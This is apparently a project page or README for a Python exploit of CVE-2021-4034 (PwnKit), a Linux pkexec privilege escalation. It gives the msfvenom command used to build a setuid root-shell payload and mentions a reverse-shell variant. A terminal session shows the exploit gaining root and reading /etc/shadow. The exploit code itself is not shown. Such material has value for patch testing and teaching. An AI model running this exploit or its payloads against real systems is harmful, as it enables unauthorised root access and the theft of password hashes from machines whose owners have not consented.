Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Security related resourcesCVE-2021-4034
Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#
Owner
Joe Ammond
Joe Ammond
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